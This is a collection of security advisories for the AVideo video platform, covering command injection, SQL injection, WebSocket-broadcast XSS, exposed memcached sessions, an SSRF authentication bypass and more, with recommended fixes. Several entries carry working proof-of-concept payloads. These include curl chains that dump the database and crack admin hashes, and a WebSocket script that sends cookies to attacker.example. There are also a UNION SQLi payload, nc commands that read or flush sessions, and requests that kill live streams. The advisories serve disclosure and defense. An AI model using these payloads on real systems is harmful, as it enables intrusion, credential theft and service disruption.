Summary
Multiple vulnerabilities in AVideo's CloneSite plugin chain together to allow a completely unauthenticated attacker to achieve remote code execution. The clones.json.php endpoint exposes clone secret keys without authentication, which can be used to trigger a full database dump via cloneServer.json.php. The dump contains admin password hashes stored as MD5, which are trivially crackable. With admin access, the attacker exploits an OS command injection in the rsync command construction in cloneClient.json.php to execute arbitrary system commands.
Details
Step 1: Clone Key Disclosure
plugin/CloneSite/clones.json.php:1-8 has zero authentication:
php <?php requireonce '../../videos/configuration.php'; requireonce $global['systemRootPath'] . 'plugin/CloneSite/Objects/Clones.php'; header('Content-Type: application/json'); $rows = Clones::getAll(); ?> {"data": <?php echo jsonencode($rows); ?>}
The response includes the key field for every registered clone, which is the sole authentication credential for clone operations.
Step 2: Database Dump via Stolen Key
plugin/CloneSite/cloneServer.json.php:73-97 — once the key passes Clones::thisURLCanCloneMe(), the server executes mysqldump and writes the result to a web-accessible directory:
php $cmd = "mysqldump -u {$mysqlUser} -p'{$mysqlPass}' --host {$mysqlHost} " ." --default-character-set=utf8mb4 {$mysqlDatabase} {$tablesList} > $sqlFile"; exec($cmd . " 2>&1", $output, $returnval);
The SQL file path is returned in the JSON response and is downloadable.
Step 3: Admin Credential Extraction
objects/user.php:1798 — passwords are stored as unsalted MD5:
php $passEncoded = md5($pass);
The users table in the dump contains user, password (MD5), and isAdmin fields. MD5 hashes crack in seconds.
Step 4: Command Injection via Rsync
plugin/CloneSite/cloneClient.json.php:259 — the videosDir from the clone server response is interpolated unsanitized into the rsync command:
php $rsync = "sshpass -p '{password}' rsync -av ... {$objClone->cloneSiteSSHUser}@{$objClone->cloneSiteSSHIP}:{$json->videosDir} ..."; exec($cmd . " 2>&1", $output, $returnval);
An admin who controls a clone server (or an attacker who has become admin) can inject arbitrary commands via the videosDir field.
PoC
bash Step 1: Steal clone keys (unauthenticated) curl -s 'http://target/plugin/CloneSite/clones.json.php' | jq '.data[0].key' Output: "a1b2c3d4e5f6..."
Step 2: Trigger database dump CLONEKEY="a1b2c3d4e5f6..." curl -s "http://target/plugin/CloneSite/cloneServer.json.php" \ --data "url=http://attacker.com&key=${CLONEKEY}&useRsync=0" | jq '.sqlFile' Output: "ClonemysqlDump1234567890.sql"
Step 3: Download the dump and extract admin credentials curl -s "http://target/videos/clones/ClonemysqlDump1234567890.sql" \ | grep -A2 "INSERT INTO.users" \ | grep -oP "admin','[a-f0-9]{32}" Output: admin','5f4dcc3b5aa765d61d8327deb882cf99 (MD5 of "password")
Step 4: Crack MD5 (trivial) echo -n "5f4dcc3b5aa765d61d8327deb882cf99" | hashcat -m 0 -a 0 rockyou.txt Output: password
Step 5: Login as admin, configure CloneSite with malicious server The attacker's clone server returns videosDir containing: /tmp$(id > /tmp/pwned) When rsync executes, the $(id) is evaluated by the shell
Impact
- Complete server compromise: Unauthenticated attacker achieves arbitrary command execution as the web server user - Full database disclosure: The entire database (users, videos, configurations, secrets) is exfiltrated - No user interaction: Every step is automated, no clicks or social engineering required - Credential theft: All user passwords (MD5) are trivially recoverable - Lateral movement: Database credentials and SSH credentials (stored encrypted in the plugins table) may enable access to other systems
Recommended Fix
1. Add authentication to clones.json.php: php // plugin/CloneSite/clones.json.php requireonce '../../videos/configuration.php'; if (!User::isAdmin()) { httpresponsecode(403); die(jsonencode(['error' => true, 'msg' => 'Admin required'])); }
2. Don't store SQL dumps in web-accessible directories — use a path outside the web root or require re-authentication to download.
3. Upgrade password hashing — replace MD5 with passwordhash() (bcrypt/argon2): php // Replace: $passEncoded = md5($pass); $passEncoded = passwordhash($pass, PASSWORDDEFAULT);
4. Sanitize rsync command parameters — use escapeshellarg() on all interpolated values: php $rsync = sprintf("rsync -av ... %s@%s:%s ...", escapeshellarg($objClone->cloneSiteSSHUser), escapeshellarg($objClone->cloneSiteSSHIP), escapeshellarg($json->videosDir) );
Summary
The YPTSocket plugin's WebSocket server relays attacker-supplied JSON message bodies to every connected client without sanitizing the msg or callback fields. On the client side, plugin/YPTSocket/script.js contains two eval() sinks fed directly by those relayed fields (json.msg.autoEvalCodeOnHTML at line 568 and json.callback at line 95). Because tokens are minted for anonymous visitors and never revalidated beyond decryption, an unauthenticated attacker can broadcast arbitrary JavaScript that executes in the origin of every currently-connected user (including administrators), resulting in universal account takeover, session theft, and privileged action execution.
Details
Token issuance is unauthenticated
plugin/YPTSocket/getWebSocket.json.php:11-21 returns a token to anyone whose request reaches the endpoint — the only check is that the plugin is enabled:
php if(!AVideoPlugin::isEnabledByName("YPTSocket")){ $obj->msg = "Socket plugin not enabled"; die(jsonencode($obj)); } $obj->error = false; $obj->webSocketToken = getEncryptedInfo(0); $obj->webSocketURL = YPTSocket::getWebSocketURL();
getEncryptedInfo() in plugin/YPTSocket/functions.php:3-16 populates fromusersid = User::getId() (0 for guests) and isAdmin = User::isAdmin() (false for guests). The issued token is accepted by the WebSocket server's onOpen handler (Message.php:44-52) solely by successful decryption — there is no requirement for the connecting principal to be authenticated.
Server relays attacker JSON verbatim
plugin/YPTSocket/Message.php:191-245 — the default branch of onMessage only rewrites fromidentification:
php public function onMessage(ConnectionInterface $from, $msg) { ... $json = jsondecode($msg); if (empty($json->webSocketToken)) { return false; } if (!$msgObj = getDecryptedInfo($json->webSocketToken)) { return false; }
switch ($json->msg) { ... default: $this->msgToArray($json); if (isset($json['fromidentification'])) { $json['fromidentification'] = striptags((string)($msgObj->username ?? '')); } ... } else { $this->msgToAll($from, $json); // broadcast } break; } }
msgToResourceId() at Message.php:297-310 copies the attacker-controlled callback and msg fields into the outbound payload:
php if (isset($msg['callback'])) { $obj['callback'] = $msg['callback']; // tainted ... } ... } else if (!empty($msg['msg'])) { $obj['msg'] = $msg['msg']; // tainted — entire object forwarded verbatim }
$obj is JSON-encoded at line 335 and sent to every connected client.
Client-side sink #1: autoEvalCodeOnHTML → eval
plugin/YPTSocket/script.js:163-169 (raw WebSocket transport) sets every inbound frame as yptSocketResponse and unconditionally calls parseSocketResponse():
js connWS.onmessage = function (e) { var json = JSON.parse(e.data); ... yptSocketResponse = json; parseSocketResponse(); ... };
parseSocketResponse() at script.js:545-569 reaches the sink:
js async function parseSocketResponse() { const json = yptSocketResponse; ... if (json.msg?.autoEvalCodeOnHTML !== undefined) { eval(json.msg.autoEvalCodeOnHTML); // <-- attacker-controlled } ... }
Client-side sink #2: json.callback → eval
plugin/YPTSocket/script.js:91-95 — processSocketJson() concatenates attacker-controlled json.callback into an eval'd string. This path is reachable on BOTH transports: the raw WebSocket branch (script.js:182) and the Socket.IO branch (script.js:339 via socket.on("message", (data) => { … processSocketJson(data) })):
js if (json.callback) { var code = "if (typeof " + json.callback + " == 'function') { myfunc = " + json.callback + "; } else { myfunc = defaultCallback; }"; socketLog('Executing callback:', json.callback); eval(code); ... }
Because json.callback is interpolated as raw source, a payload like alert(document.cookie);window.x breaks out of the typeof expression and executes during the condition evaluation.
PoC
Prerequisite: target is running AVideo with the YPTSocket plugin enabled (default on most installs).
Step 1 — obtain a token anonymously (no cookies, no auth):
bash curl -s 'https://target.example/plugin/YPTSocket/getWebSocket.json.php'
Expected output (abbreviated): json {"error":false,"msg":"","webSocketToken":"<long encrypted token>","webSocketURL":"wss://target.example:8888/?webSocketToken=<token>&..."}
Step 2 — connect to the WebSocket endpoint using the returned webSocketURL. A minimal Node.js client:
js const WebSocket = require('ws'); const TOKEN = '<token from step 1>'; const URL = '<webSocketURL from step 1>'; const ws = new WebSocket(URL, { rejectUnauthorized: false });
ws.on('open', () => { // Payload 1 — primary sink (raw WebSocket transport): ws.send(JSON.stringify({ webSocketToken: TOKEN, msg: { autoEvalCodeOnHTML: "fetch('https://attacker.example/x?c='+encodeURIComponent(document.cookie));" + "alert('XSS as '+document.domain);" } }));
// Payload 2 — secondary sink (reaches both raw WS and Socket.IO clients): ws.send(JSON.stringify({ webSocketToken: TOKEN, msg: "p", callback: "alert(document.domain);window.x" })); });
Step 3 — observe impact. Every other user currently connected to the same AVideo instance (via any page that loads YPTSocket's script.js — the global footer, the admin dashboard, live streams, video pages) receives the broadcast. In their browser:
- Payload 1 reaches parseSocketResponse() at line 568 and evaluates eval(json.msg.autoEvalCodeOnHTML), firing the exfiltration request to attacker.example with document.cookie. - Payload 2 reaches processSocketJson() at line 95; the synthesized code string is if (typeof alert(document.domain);window.x == 'function') { ... }, which executes alert(document.domain) during the typeof evaluation.
Any administrator who is online at the moment of the broadcast has their session cookie exfiltrated and/or arbitrary actions performed in their browser context.
Impact
A single unauthenticated request and one WebSocket frame grants the attacker universal client-side code execution across every user currently connected to the target AVideo instance. Concretely:
- Session theft of every connected user, including administrators (note: HttpOnly does not help because the attacker's JS runs in-origin and can call privileged endpoints directly without ever reading cookies). - Privileged action execution on behalf of any admin who happens to be online — including plugin installation (GHSA-v8jw-8w5p-23g3 shows admin plugin ZIP upload is already an RCE primitive), user promotion/demotion, video deletion, configuration changes. - Stored cross-user JS persistence via localStorage, IndexedDB, or re-submitting the payload as a comment/title through admin credentials. - Financial redirection (payment flows, crypto-donation addresses) and phishing via arbitrary DOM rewriting of the authentic AVideo origin. - The scope change (S:C) is genuine: an unauthenticated (or low-privileged) attacker's actions cross the trust boundary into every other user's browser authorization context, including admin.
Recommended Fix
Multiple defense-in-depth layers are required:
1. Remove the client-side eval sinks entirely. plugin/YPTSocket/script.js:
diff - if (json.msg?.autoEvalCodeOnHTML !== undefined) { - eval(json.msg.autoEvalCodeOnHTML); - }
No legitimate server flow should push arbitrary JavaScript through a broadcast channel — if server-driven UI updates are needed, use structured data and predefined handler functions.
Replace the callback dispatch at lines 91-95 with a strict name-based lookup against a predefined allowlist:
diff - if (json.callback) { - var code = "if (typeof " + json.callback + " == 'function') { myfunc = " + json.callback + "; } else { myfunc = defaultCallback; }"; - eval(code); - ... - } else { - myfunc = defaultCallback; - } + var ALLOWEDCALLBACKS = ['socketNewConnection', 'socketDisconnection', / ... /]; + if (typeof json.callback === 'string' && ALLOWEDCALLBACKS.indexOf(json.callback) !== -1 + && typeof window[json.callback] === 'function') { + myfunc = window[json.callback]; + const event = new CustomEvent(json.callback, { detail: details }); + document.dispatchEvent(event); + } else { + myfunc = defaultCallback; + }
2. Server-side: allowlist keys on relayed msg objects. In plugin/YPTSocket/Message.php::onMessage() default branch, whitelist the fields permitted in relayed broadcasts rather than forwarding $msg['msg'] verbatim:
php // At top of default branch, after msgToArray: $ALLOWEDMSGKEYS = ['type', 'text', 'videosid', 'usersid', / ... /]; if (isset($json['msg']) && isarray($json['msg'])) { $json['msg'] = arrayintersectkey($json['msg'], arrayflip($ALLOWEDMSGKEYS)); } // Similarly sanitize callback: if (isset($json['callback']) && !pregmatch('/^[a-zA-Z][a-zA-Z0-9]$/', (string)$json['callback'])) { unset($json['callback']); }
3. Restrict token issuance and sender privileges. plugin/YPTSocket/getWebSocket.json.php should require authentication (or at least reject anonymous broadcast capability). Unprivileged senders should not be permitted to trigger msgToAll at all — the default branch of onMessage should require $msgObj->isAdmin (or equivalent) before allowing broadcasts, since there is no legitimate reason for arbitrary clients to originate system-wide messages.
An OS command injection vulnerability exists in the aVideoEncoder chunkfile functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to arbitrary command execution. An attacker can send an HTTP request to trigger this vulnerability.
An os command injection vulnerability exists in the aVideoEncoder wget functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to arbitrary command execution. An attacker can send an HTTP request to trigger this vulnerability.
A directory traversal vulnerability exists in the unzipDirectory functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to arbitrary command execution. An attacker can send an HTTP request to trigger this vulnerability.
An insufficient entropy vulnerability exists in the salt generation functionality of WWBN AVideo dev master commit 15fed957fb. A specially crafted series of HTTP requests can lead to privilege escalation. An attacker can gather system information via HTTP requests and bruteforce the salt offline, leading to forging a legitimate password recovery code for the admin user.
AVideo Platform 8.1 contains a cross-site request forgery vulnerability that allows attackers to reset user passwords by exploiting the password recovery mechanism. Attackers can craft malicious requests to the recoverPass endpoint using the user's recovery token to change account credentials without authentication.
Impact
An unauthenticated SQL Injection vulnerability exists in AVideo within the objects/videos.json.php and objects/video.php components.
The application fails to properly sanitize the catName parameter when it is supplied via a JSON-formatted POST request body. Because JSON input is parsed and merged into $REQUEST after global security checks are executed, the payload bypasses the existing sanitization mechanisms.
This allows an unauthenticated attacker to:
- Execute arbitrary SQL queries - Perform full database exfiltration - Extract sensitive data including administrator usernames, password hashes, session identifiers and user records - Potentially escalate privileges by cracking password hashes offline - Chain with authenticated vulnerabilities to achieve full system compromise
This vulnerability is classified as: - CWE-89: Improper Neutralization of Special Elements used in an SQL Command (SQL Injection)
Patches
This vulnerability has been fixed in version 23.
Users must upgrade to version 23 or later.
Workarounds
There is no reliable workaround.
The only recommended mitigation is to upgrade immediately to version 23 upon its release.
References
Internal security report.
Summary The official docker-compose.yml publishes the memcached service on host port 11211 (0.0.0.0:11211) with no authentication, while the Dockerfile configures PHP to store all user sessions in that memcached instance. An attacker who can reach port 11211 can read, modify, or flush session data — enabling session hijacking, admin impersonation, and mass session destruction without any application-level authentication.
Severity High (CVSS 3.1: 8.1)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network — docker-compose.yml binds memcached to 0.0.0.0:11211 on the host - Attack Complexity: High — exploitation requires port 11211 to be network-reachable, which depends on external firewall/security group configuration beyond the attacker's control - Privileges Required: None — memcached has no authentication mechanism enabled - User Interaction: None - Scope: Unchanged — impact is to the AVideo application's session management - Confidentiality Impact: High — session data includes user IDs, admin flags, email addresses, and password hashes - Integrity Impact: High — an attacker can modify session data to inject admin privileges or impersonate any user - Availability Impact: High — flushall destroys all active sessions, forcing mass logout
Affected Component - docker-compose.yml — memcached service ports directive (line 203) - Dockerfile — PHP session configuration (lines 150-151)
CWE - CWE-668: Exposure of Resource to Wrong Sphere - CWE-287: Improper Authentication (memcached has no authentication)
Description
Memcached port unnecessarily published to host network
The docker-compose.yml publishes the memcached port to the Docker host's network interface:
yaml docker-compose.yml — lines 192-213 memcached: image: memcached:alpine restart: unless-stopped command: > memcached -m 512 -c 2048 -t ${NPROC:-4} -R 200 ports: - "${MEMCACHEPORT:-11211}:11211" # <-- Exposes to 0.0.0.0:11211 networks: - appnet
The memcached command has no authentication flags: - No -S flag (SASL authentication) - No -l 127.0.0.1 flag (interface binding restriction)
The default env.example reinforces this port: MEMCACHEPORT=11211
PHP sessions stored entirely in memcached
The Dockerfile configures PHP to use memcached as the session store:
ini ; Dockerfile — lines 150-151 session.savehandler = memcached session.savepath = "memcached:11211?persistent=1&timeout=2&retryinterval=5"
Session data contains all authentication state
The application stores complete authentication state in sessions. From objects/user.php:
php // user.php:1521 — login check $isLogged = !empty($SESSION['user']['id']);
// user.php:1544 — admin check return !empty($SESSION['user']['isAdmin']);
Session data includes: user ID, email, username, password hash, admin flag, channel name, photo URL, and email verification status (user.php lines 329-733). All of this is readable and writable via the exposed memcached port.
Inconsistent defense: database services are correctly internal-only
The docker-compose.yml demonstrates awareness of proper service isolation — both database services have NO ports: directive:
yaml docker-compose.yml — database service (lines 136-163) database: build: context: . dockerfile: Dockerfile.mariadb # ... NO ports: directive — internal only networks: - appnet
docker-compose.yml — databaseencoder service (lines 165-189) databaseencoder: build: context: . dockerfile: Dockerfile.mariadb # ... NO ports: directive — internal only networks: - appnet
Both databases are only reachable via the internal appnet Docker network. Memcached — which stores equally sensitive session data — should follow the same pattern but does not. This inconsistency confirms the exposure is an oversight, not a design choice.
Port exposure map
| Service | Ports published to host | Contains sensitive data | Exposure justified | |---------|------------------------|------------------------|--------------------| | avideo | 80, 443, 2053 | N/A (web server) | Yes — serves web traffic | | live | 1935, 8080, 8443 | N/A (streaming) | Yes — serves RTMP/HLS | | database | None | Yes (all app data) | Correct — internal only | | databaseencoder | None | Yes (encoder data) | Correct — internal only | | memcached | 11211 | Yes (all sessions) | No — should be internal only |
Execution chain
1. Attacker scans the target host and discovers port 11211 is open 2. Attacker connects with nc TARGET 11211 or any memcached client — no authentication required 3. Attacker runs stats items to enumerate session slab classes 4. Attacker runs stats cachedump <slabid> <limit> to list session keys 5. Attacker runs get <sessionkey> to read serialized PHP session data containing user IDs, admin flags, and password hashes 6. Attacker either: - Hijacks a session: uses the session ID as a cookie to impersonate the user - Escalates privileges: modifies session data to set isAdmin to true via set <sessionkey> - Performs DoS: runs flushall to destroy all sessions
Proof of Concept
bash 1. Verify memcached is reachable (returns server stats) echo -e "stats\r" | nc TARGET 11211
2. Enumerate session keys echo -e "stats items\r" | nc TARGET 11211 Then for each slab: echo -e "stats cachedump 1 100\r" | nc TARGET 11211
3. Read a session (key format: memc.sess.key.<sessionid>) echo -e "get memc.sess.key.abc123sessionid\r" | nc TARGET 11211 Returns serialized PHP session with user data, admin flag, etc.
4. DoS — destroy all sessions (logs out every user) echo -e "flushall\r" | nc TARGET 11211
For session hijacking, extract the session ID from step 3 and set it as the PHPSESSID cookie in a browser to impersonate the victim user.
Impact
- Session hijacking: Read any user's session data and impersonate them by reusing their session ID — including admin accounts - Privilege escalation: Modify session data to set $SESSION['user']['isAdmin'] to a truthy value, granting admin access to any session - Credential exposure: Session data includes password hashes ($SESSION['user']['passhash'], user.php:555) that can be cracked offline - Mass session destruction: flushall destroys all active sessions, forcing every logged-in user to re-authenticate — a one-command denial of service - Reconnaissance: stats reveals server uptime, memory usage, connection counts, and cache hit/miss ratios
Recommended Remediation
Option 1: Remove the port mapping (preferred — one-line fix)
Memcached is only used internally by the PHP application via Docker networking. Remove the ports: directive entirely:
yaml docker-compose.yml — memcached service memcached: image: memcached:alpine restart: unless-stopped command: > memcached -m 512 -c 2048 -t ${NPROC:-4} -R 200 # REMOVED: ports: # - "${MEMCACHEPORT:-11211}:11211" deploy: resources: limits: cpus: '1' memory: "4G" reservations: cpus: '0.5' memory: '1G' networks: - appnet
Also remove MEMCACHEPORT=11211 from env.example since the port is no longer published.
The PHP application connects via the Docker internal hostname memcached:11211 (from session.savepath), which uses the appnet bridge network and does not require host-level port mapping.
Option 2: Bind memcached to localhost only (if host access is needed for debugging)
If host-level access to memcached is needed for debugging, bind only to the loopback interface:
yaml ports: - "127.0.0.1:${MEMCACHEPORT:-11211}:11211"
This prevents remote access while allowing localhost:11211 connections from the Docker host.
Option 3: Enable SASL authentication (defense-in-depth)
Add SASL authentication to memcached as an additional layer:
yaml command: > memcached -m 512 -c 2048 -t ${NPROC:-4} -R 200 -S environment: MEMCACHEDUSERNAME: "${MEMCACHEDUSER:-avideo}" MEMCACHEDPASSWORD: "${MEMCACHEDPASSWORD}"
Update the PHP session configuration accordingly: ini session.savepath = "PERSISTENT=myapp avideo:${MEMCACHEDPASSWORD}@memcached:11211"
Note: Option 1 alone is sufficient and should be applied immediately. Options 2 and 3 provide defense-in-depth.
Credit This vulnerability was discovered and reported by bugbunny.ai.
Summary
An unauthenticated SQL injection vulnerability exists in objects/category.php in the getAllCategories() method. The doNotShowCats request parameter is sanitized only by stripping single-quote characters (strreplace("'", '', ...)), but this is trivially bypassed using a backslash escape technique to shift SQL string boundaries. The parameter is not covered by any of the application's global input filters in objects/security.php.
Affected Component
File: objects/category.php, lines 386-394, inside method getAllCategories()
php if (!empty($REQUEST['doNotShowCats'])) { $doNotShowCats = $REQUEST['doNotShowCats']; if (!isarray($REQUEST['doNotShowCats'])) { $doNotShowCats = array($REQUEST['doNotShowCats']); } foreach ($doNotShowCats as $key => $value) { $doNotShowCats[$key] = strreplace("'", '', $value); // INSUFFICIENT } $sql .= " AND (c.cleanname NOT IN ('" . implode("', '", $doNotShowCats) . "') )"; }
Root Cause
1. Incomplete sanitization: The only defense is strreplace("'", '', $value), which strips single-quote characters. It does not strip backslashes (\). 2. No global filter coverage: The doNotShowCats parameter is absent from every filter list in objects/security.php ($securityFilter, $securityFilterInt, $securityRemoveSingleQuotes, $securityRemoveNonChars, $securityRemoveNonCharsStrict, $filterURL, and the id suffix pattern). 3. Direct string concatenation into SQL: The filtered values are concatenated into the SQL query via implode() instead of using parameterized queries.
Exploitation
MySQL, by default, treats the backslash (\) as an escape character inside string literals (unless NOBACKSLASHESCAPES SQL mode is enabled, which is uncommon). This allows a backslash in one array element to escape the closing single-quote that implode() adds, shifting the string boundary and turning the next array element into executable SQL.
Step-by-step:
1. The attacker sends: GET /categories.json.php?doNotShowCats[0]=\&doNotShowCats[1]=)%20OR%201=1)--%20-
2. After strreplace("'", '', ...), values are unchanged (no single quotes to strip): - Element 0: \ - Element 1: ) OR 1=1)-- -
3. After implode("', '", ...), the concatenated string is: \', ') OR 1=1)-- -
4. The full SQL becomes: sql AND (c.cleanname NOT IN ('\', ') OR 1=1)-- -') )
5. MySQL parses this as: - '\' — the \ escapes the next ', making it a literal quote character inside the string. The string continues. - , ' — the comma and space are part of the string. The next ' (which was the opening quote of element 1) closes the string. - String value = ', (three characters: quote, comma, space) - ) OR 1=1) — executable SQL. The first ) closes NOT IN (, the second ) closes the outer AND (. - -- - — SQL comment, discards the remainder ') )
Effective SQL: sql AND (c.cleanname NOT IN (', ') OR 1=1) This always evaluates to TRUE.
For data extraction (UNION-based):
GET /categories.json.php?doNotShowCats[0]=\&doNotShowCats[1]=))%20UNION%20SELECT%201,user,password,4,5,6,7,8,9,10,11,12,13,14%20FROM%20users--%20-
Produces: sql AND (c.cleanname NOT IN ('\', ')) UNION SELECT 1,user,password,4,5,6,7,8,9,10,11,12,13,14 FROM users-- -') )
This appends a UNION query that extracts usernames and password hashes from the users table. The attacker must match the column count of the original SELECT (determinable through iterative probing).
Impact
- Confidentiality: Full read access to the entire database, including user credentials, emails, private video metadata, API secrets, and plugin configuration. - Integrity: Ability to modify or delete any data in the database via stacked queries or subqueries (e.g., UPDATE users SET isAdmin=1). - Availability: Ability to drop tables or corrupt data. - Potential RCE: On MySQL configurations that allow SELECT ... INTO OUTFILE, the attacker could write a PHP web shell to the server's document root.
Suggested Fix
Replace the string concatenation with parameterized queries:
php if (!empty($REQUEST['doNotShowCats'])) { $doNotShowCats = $REQUEST['doNotShowCats']; if (!isarray($doNotShowCats)) { $doNotShowCats = array($doNotShowCats); } $placeholders = arrayfill(0, count($doNotShowCats), '?'); $formats = strrepeat('s', count($doNotShowCats)); $sql .= " AND (c.cleanname NOT IN (" . implode(',', $placeholders) . ") )"; // Pass $formats and $doNotShowCats to sqlDAL::readSql() as bind parameters }
Alternatively, use $global['mysqli']->realescapestring() on each value as a minimum fix, though parameterized queries are strongly preferred.
Impact:
An attacker could execute remote code on a system running wwbn/avideo
Step to Reproduce:
1. Go to the My Videos tab
https://demo.avideo.com/mvideos
2. Click "Embed a video link"
Append a command to the url as a query string. eg. ?whoami
then click Save
This issue has been resolved in commit 236228f15
WWBN AVideo is an open source video platform. Versions prior to 29.0 contain a stored DOM Cross-Site Scripting vulnerability in the YPTSocket plugin. Any unauthenticated remote attacker can execute arbitrary JavaScript in the authenticated origin of every administrator currently viewing a page that renders the YPTSocket online-users debug panel. plugin/YPTSocket/getWebSocket.json.php issues a signed WebSocket token to any anonymous caller, and MessageSQLiteV2::onOpen at plugin/YPTSocket/MessageSQLiteV2.php lines 91 and 110 reads the attacker-controlled webSocketSelfURI and pagetitle query parameters from the WebSocket connection URL with no validation. Both values persist into the in-memory SQLite connections table and broadcast inside the usersidonline array sent to every connected client; on the client, plugin/YPTSocket/script.js::updateSocketUserCard interpolates the broadcast pagetitle into an HTML template literal that is passed to jQuery $.append(html), which parses attacker bytes into live DOM nodes including <img> with inline event handlers. Successful attackers can can read non-HttpOnly cookies and the CSRF token rendered into the admin dashboard, issue authenticated requests to any admin-only endpoint, exfiltrate the admin dashboard DOM, and chain into any admin-context mutation. When the victim is an AVideo administrator, the attacker turns a single anonymous WebSocket connection into full administrative takeover via the admin's own session. This issue has been patched by https://github.com/WWBN/AVideo/commit/8be71e53ccbe9b84b30870db386fb4d2b11e1c16.
A cross-site scripting (xss) vulnerability exists in the image403 functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to arbitrary Javascript execution. An attacker can get an authenticated user to send a crafted HTTP request to trigger this vulnerability.
A reflected cross-site scripting (xss) vulnerability exists in the charts tab selection functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to arbitrary Javascript execution. An attacker can get an authenticated user to send a crafted HTTP request to trigger this vulnerability.
A cross-site scripting (xss) vulnerability exists in the footer alerts functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to arbitrary Javascript execution. An attacker can get an authenticated user to send a crafted HTTP request to trigger this vulnerability.This vulnerability arrises from the "success" parameter which is inserted into the document with insufficient sanitization.
A cross-site scripting (xss) vulnerability exists in the footer alerts functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to arbitrary Javascript execution. An attacker can get an authenticated user to send a crafted HTTP request to trigger this vulnerability.This vulnerability arrises from the "msg" parameter which is inserted into the document with insufficient sanitization.
A cross-site scripting (xss) vulnerability exists in the footer alerts functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to arbitrary Javascript execution. An attacker can get an authenticated user to send a crafted HTTP request to trigger this vulnerability.This vulnerability arrises from the "toast" parameter which is inserted into the document with insufficient sanitization.
Summary
The standalone live stream control endpoint at plugin/Live/standAloneFiles/control.json.php accepts a user-supplied streamerURL parameter that overrides where the server sends token verification requests. An attacker can redirect token verification to a server they control that always returns {"error": false}, completely bypassing authentication. This grants unauthenticated control over any live stream on the platform, including dropping active publishers, starting/stopping recordings, and probing stream existence.
Details
The vulnerability exists because the streamerURL parameter is accepted directly from user input with no validation:
plugin/Live/standAloneFiles/control.json.php:77-79 — User input overrides server config: php if (!empty($REQUEST['streamerURL'])) { $streamerURL = $REQUEST['streamerURL']; }
plugin/Live/standAloneFiles/control.json.php:83-91 — The user-controlled value is assigned to the request object: php $obj->streamerURL = $streamerURL;
plugin/Live/standAloneFiles/control.json.php:115-126 — Token verification is sent to the attacker-controlled URL: php $verifyTokenURL = "{$obj->streamerURL}plugin/Live/verifyToken.json.php?token={$obj->token}"; // ... $content = filegetcontents($verifyTokenURL, false, streamcontextcreate($arrContextOptions));
The legitimate verifyToken.json.php performs cryptographic token validation via Live::decryptHash() and checks token expiry (12-hour window). By redirecting verification to an attacker server, all of this is bypassed — the attacker's server simply responds with {"error": false}.
After authentication is bypassed, the attacker can execute any of the four supported commands (lines 150-186): recordstart, recordstop, droppublisher, and isrecording, which issue control commands to the local NGINX RTMP control module.
SSL verification is also explicitly disabled (lines 119-124), meaning the SSRF request will follow any attacker URL without certificate validation.
Notably, the developers were aware of this exact attack pattern and fixed it in the sibling file standAloneFiles/saveDVR.json.php on 2026-03-19 with an explicit comment: "SECURITY: User-supplied webSiteRootURL is intentionally NOT accepted. Allowing it would enable SSRF." The same fix was not applied to control.json.php.
PoC
Step 1: Set up an attacker server that returns {"error": false} for all requests.
bash Minimal Python server on attacker machine (attacker.example.com:8888) python3 -c ' import http.server, json class H(http.server.BaseHTTPRequestHandler): def doGET(self): self.sendresponse(200) self.sendheader("Content-Type","application/json") self.endheaders() self.wfile.write(json.dumps({"error": False}).encode()) def logmessage(self, a): pass http.server.HTTPServer(("0.0.0.0", 8888), H).serveforever() '
Step 2: Drop a victim's live stream (kill their broadcast):
bash curl -s "https://target.example.com/plugin/Live/standAloneFiles/control.json.php?token=anything&command=droppublisher&name=VICTIMSTREAMKEY&app=live&streamerURL=http://attacker.example.com:8888/"
Expected response (authentication bypassed, command executed): json {"error":false,"msg":"","streamerURL":"http://attacker.example.com:8888/","token":"anything","command":"droppublisher","app":"live","name":"VICTIMSTREAMKEY","response":"","requestedURL":"http://localhost:8080/control/drop/publisher?app=live&name=VICTIMSTREAMKEY"}
Step 3: Start unauthorized recording of a victim's stream:
bash curl -s "https://target.example.com/plugin/Live/standAloneFiles/control.json.php?token=anything&command=recordstart&name=VICTIMSTREAMKEY&app=live&streamerURL=http://attacker.example.com:8888/"
Step 4: Probe whether a stream name is active:
bash curl -s "https://target.example.com/plugin/Live/standAloneFiles/control.json.php?token=anything&command=isrecording&name=GUESSSTREAMKEY&app=live&streamerURL=http://attacker.example.com:8888/"
Impact
- Denial of Service on Live Streams: Any unauthenticated attacker can terminate any active live broadcast using droppublisher, causing immediate disruption for streamers and viewers. - Unauthorized Recording: An attacker can start recording any live stream without authorization using recordstart, potentially capturing private or sensitive content. - Stream Enumeration: The isrecording command allows probing for valid stream names. - SSRF: The server makes an outbound HTTP request to an attacker-controlled URL via filegetcontents(), which could be used to scan internal services or exfiltrate data via the request URL. - No authentication required: The entire attack is performed without any credentials.
Recommended Fix
Remove the streamerURL request parameter override entirely, matching the fix already applied in saveDVR.json.php. In plugin/Live/standAloneFiles/control.json.php, replace lines 77-79:
php // BEFORE (vulnerable): if (!empty($REQUEST['streamerURL'])) { $streamerURL = $REQUEST['streamerURL']; }
// AFTER (fixed): // SECURITY: User-supplied streamerURL is intentionally NOT accepted. // Allowing it would enable authentication bypass and SSRF via filegetcontents // on an attacker-controlled host. streamerURL MUST come from the configuration // file or be hard-coded in this file above. if (empty($streamerURL)) { errorlog("control.json.php: streamerURL is not configured"); die(jsonencode(['error' => true, 'msg' => 'Server not configured'])); }
AVideo versions prior to 20.1 with the ImageGallery plugin enabled is vulnerable to unauthenticated file upload and deletion. Plugin endpoints responsible for managing gallery images fail to enforce authentication checks and do not validate ownership, allowing unauthenticated attackers to upload or delete images associated with any image-based video.
Summary An authenticated Remote Code Execution (RCE) vulnerability was identified in AVideo related to the plugin upload/import functionality.
